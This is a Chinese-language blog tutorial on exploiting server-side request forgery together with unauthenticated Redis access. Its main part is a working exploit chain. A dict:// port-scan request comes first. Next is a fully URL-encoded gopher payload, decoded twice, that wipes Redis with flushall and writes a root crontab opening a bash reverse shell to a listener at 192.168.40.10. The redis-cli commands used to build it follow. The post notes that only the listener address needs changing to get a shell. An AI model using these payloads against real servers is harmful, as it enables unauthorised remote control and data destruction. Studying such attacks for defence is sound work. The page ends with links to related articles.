SSRF不难理解,服务器端请求伪造(英语:Server-side Request Forgery,简称SSRF)是攻击者滥用服务器功能来访问或操作无法被直接访问的信息的方式之一。

服务器端请求伪造攻击将域中的不安全服务器作为代理使用,这与利用网页客户端的跨站请求伪造攻击类似(如处在域中的浏览器可作为攻击者的代理)。

SSRF + Redis未授权 案例

SSRF漏洞结合Redis未授权漏洞,怎么利用?

SSRF漏洞可以:

  • 利用可以访问内网的主机当成代理;

Redis未授权访问漏洞,可以利用该漏洞实现:

  • 信息泄露、数据删除;
  • 写入SSH公钥,SSH远程登录;
  • 反弹Shell
    • Dict协议
    • gopher协议
    • 构造Redis数据包,通过写入Linux 计划任务
    • 构造Redis数据包,利用Redis的数据备份功能,将web shell写入目标服务器(centos)的网站根目录下,然后用菜刀连接获取shell。
  • ...

结合起来就是:

通过代理向内网机器发送请求,收到请求的内网机器,因为机器自身存在未授权Redis漏洞,可以反弹Shell出去。

流程如下:

  • 找到SSRF
  • 找6379端口的过程
  • 验证是否存在SSRF
  • 发送Web攻击荷载

流程图:

条件:

当在外部站点发现SSRF漏洞时,尝试用代理找内网的Redis服务(找默认的6379端口),看看是否存在Redis未授权漏洞,如果存在,就可以尝试获取反弹Shell。

找6379端口的过程:

基于dict协议的利用

GET /ssrf/ssrf.phpurl=dict://192.168.124.153:&XXXX& HTTP/1.1

只需要遍历&XXXX& 从 0-65535 即可。

可能6379端口会修改成别的端口,但可以通过一些响应包内的特征确认:



验证是否存在SSRF的方式之一:

GET /ssrf/ssrf.php?url=http://Xxxx.dnslog.cn HTTP/1.1

发送redis数据包:

http://127.0.0.1:8080/vul/ssrf/ssrf_curl.php?url=%67%6f%70%68%65%72%3a%2f%2f%31%39%32%2e%31%36%38%2e%34%30%2e%33%34%3a%36%33%37%39%2f%5f%2a%31%25%30%64%25%30%61%24%38%25%30%64%25%30%61%66%6c%75%73%68%61%6c%6c%25%30%64%25%30%61%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%25%30%64%25%30%61%31%25%30%64%25%30%61%24%35%39%25%30%64%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%34%30%2e%31%30%2f%34%34%34%34%20%30%3e%26%31%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61

解码:

gopher://192.168.40.34:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/4444 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

在解码:

gopher://192.168.40.34:6379/_*1
$8
flushall
*3
$3
set
$1
1
$59 */1 * * * * bash -i >&/dev/tcp/192.168.40.10/4444 0>&1 *4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save

只需要修改 192.168.40.10/4444 ,在攻击者机器监听4444端口,就可以得到shell了。

思考:

  1. 本次实验只是针对基于SSRF漏洞的gopher协议攻击,但是在真实环境中,SSRF内的内网主机或者服务器有可能是不出网,这时候怎么反弹shell ?

  2. 如果目标 Redis 服务器存在身份验证,公网内存在VPS怎么反弹?如果没有root权限怎么实现计划任务?

怎么构造 redis 数据包?

背景知识:

gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。

在利用gopher协议进行攻击时,我们首先要知道gopher协议的流的怎么样的,所以现在需要构造一个正常请求,在攻击机上启用监听,使用流量转发工具socat,抓取tcp流量,然后将其流量转换为gopher格式,生成gopher流的攻击样本,为下面是构造一个gopher流的过程:

  1. 打开socat流量工具,记录攻击流量

  2. 现找一台类似环境的Redis服务器,在系统中执行如下命令:

      Redis攻击代码:
    redis-cli -h 127.0.0.1 flushall #清除缓存
    echo -e "\n\n*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/3333 0>&1\n\n" | redis-cli -h 127.0.0.1 -x set 1 #反弹shell,由于在kali机上开启了监听,所以可以将本地的流量转发至这里,每隔1分钟往kali弹shell redis-cli -h 127.0.0.1 config set dir /var/spool/cron/ #设置工作目录,这里指的是计划任务
    redis-cli -h 127.0.0.1 config set dbfilename root #设置保存文件名字,也就是将计划任务写入到目标的文件
    redis-cli -h 127.0.0.1 save #保存
  3. 将如上的流量写入到1.txt,在将1.txt的TCP流形式转换为gopher流格式:

    *1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$59%0d%0a%0a%0a*/1 * * * * bash -i >&/dev/tcp/192.168.40.10/3333 0>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a

Reference

SSRF之利用dict和gopher吊打Redis

https://www.cnblogs.com/CoLo/p/14214208.html

SSRF——手把手教你Redis反弹Shell

https://blog.csdn.net/sudu2020dd/article/details/130998763

SSRF结合Redis未授权的打法的更多相关文章

  1. ssrf对redis未授权访问写webshell

    docker建立redis镜像 docker run -d -p 9999:6379 redis 将redis的6379端口映射到物理机的9999端口 使用工具生成攻击代码 攻击 进入容器查看

  2. 浅谈Redis未授权访问漏洞

    Redis未授权访问漏洞 Redis是一种key-value键值对的非关系型数据库 默认情况下绑定在127.0.0.1:6379,在没有进行采用相关的策略,如添加防火墙规则避免其他非信任来源ip访问等 ...

  3. [ Redis ] Redis 未授权访问漏洞被利用,服务器登陆不上

    一.缘由: 突然有一天某台服务器远程登陆不上,试了好几个人的账号都行,顿时慌了,感觉服务器被黑.在终于找到一个还在登陆状态的同事后,经查看/ect/passwd 和/etc/passwd-异常,文件中 ...

  4. Redis未授权访问缺陷让服务器沦为肉鸡

    朋友的一个项目说接到阿里云的告警,提示服务器已沦为肉鸡,网络带宽被大量占用,网站访问很慢,通过SSH远程管理服务器还频繁断开链接.朋友不知如何下手,便邀请我帮忙处理. 阿里云的安全告警邮件内容: 在没 ...

  5. 修补--Redis未授权访问漏洞

    --------------------------------阿里云解决方案----------------------------------- 一.漏洞描述 Redis因配置不当可以导致未授权访 ...

  6. redis 未授权漏洞利用直接登录服务器

    在没有查到杀手之前我是先把带宽&端口用iptables 做了限制这样能保证我能远程操作服务器才能查找原因 2 在各种netstat –ntlp  的查看下没有任何异常 在top 下查到了有异常 ...

  7. Redis未授权访问

    最近在做校招题目的时候发现有问到未授权访问,特此搭建了诸多未授权访问的环境并且一一复现并做简单总结.再次记录下来 环境介绍 0x00环境搭建 我这里用到的是Microsoft(R) Windows(R ...

  8. Redis未授权访问漏洞的利用及防护

    Redis未授权访问漏洞的利用及防护 什么是Redis未授权访问漏洞? Redis在默认情况下,会绑定在0.0.0.0:6379.如果没有采取相关的安全策略,比如添加防火墙规则.避免其他非信任来源IP ...

  9. Redis未授权漏洞利用方式

    总结一下redis未授权拿shell: redis-cli -h ip >info 查看系统类型 Windows: 1.找网站绝对路径 2.config set dir 绝对路径根路径 conf ...

  10. Redis 未授权访问漏洞(附Python脚本)

    0x01 环境搭建 #下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-.t ...

随机推荐

  1. CSS操作——边框属性

    1.border-style(边框风格) 定义边框的风格,值可以有: /* none:没有边框,当border的值为none的时候,系统将会忽略[border-color] hidden:隐藏边框,低 ...

  2. 一款功能强大的Python工具,一键打包神器,一次编写、多平台运行!

    1.项目介绍 Briefcase是一个功能强大的工具,主要用于将Python项目转化为多种平台的独立本地应用.它支持多种安装格式,使得Python项目能够轻松打包并部署到不同的操作系统和设备上,如ma ...

  3. 用python字典统计CSV数据

    1.用python字典统计CSV数据的步骤和代码示例 为了使用Python字典来统计CSV数据,我们可以使用内置的csv模块来读取CSV文件,并使用字典来存储统计信息.以下是一个详细的步骤和完整的代码 ...

  4. 莫烦tensorflow学习记录 (5)什么是过拟合 (Overfitting)

    什么是过拟合 (Overfitting) 莫烦讲的非常通俗易懂可以看看https://mofanpy.com/tutorials/machine-learning/tensorflow/intro-o ...

  5. nginx优化实践与验证

    nginx优化实践 实践场景1: 单台nginx 2核4G 实践场景2: 三台nginx 2核4G 压测工具:WRK 初始安装的nginx压测: yum install -y nginx 安装WRK压 ...

  6. Centos Stream 10 测试版下载:未来的RHEL10&Rocky Linux 10

    简介 最近发现Centos最放出了Stream 10 测试版本,应该是基于Fedora 40构建的.未来红帽会基于此版本构建RHEL 10. 内核版本:6.9.0 Python版本:3.12.2 RH ...

  7. vue移动端 滚动

    better-scroll: https://better-scroll.github.io/docs/zh-CN/guide/ 影院列表数据使用better-scroll来完成数据的展示,此插件对于 ...

  8. ETL工具-nifi干货系列 第十一讲 处理器UpdateAttribute使用教程

    1.在这里我们重温下nifi里面一个重要的概念FlowFile,如下图所示: FlowFile:FlowFile代表NiFi中的单个数据.nifi数据流中流动的就是flowfile,每个nifi处理器 ...

  9. linux Centos8系统,防火墙配置常用命令,systemctl 和firewall

    本文环境:Linux系统CentOS 8.2 64bit CentOS 7版本及以上版本较centos 6有较大改动,例如:采用systemctl命令来开启service,它是服务管理中主要的工具,融 ...

  10. ABC317题解报告

    我直接从第三题开始讲了. T3 把数组 \(A\) 从大到小排序. 然后从前往后把前 \(q\) 个数加起来,然后判断这 \(q\) 个数的和与 \(d\) 的大小关系,如果大了就变成 \(d\). ...